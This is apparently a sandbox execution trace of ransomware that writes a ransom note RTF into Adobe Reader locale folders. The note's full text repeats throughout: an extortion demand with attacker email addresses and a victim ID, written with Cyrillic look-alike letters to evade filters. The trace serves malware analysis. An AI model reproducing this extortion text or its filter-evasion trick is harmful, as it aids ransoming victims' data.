f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", lpUsedDefaultChar=0x0) returned 14086 [0042.335] WriteFile (in: hFile=0x1cc, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0042.343] CloseHandle (hObject=0x1cc) returned 1 [0042.343] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\!bwng_info!.rtf")) returned 0xffffffff [0042.343] GetLastError () returned 0x2 [0042.343] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 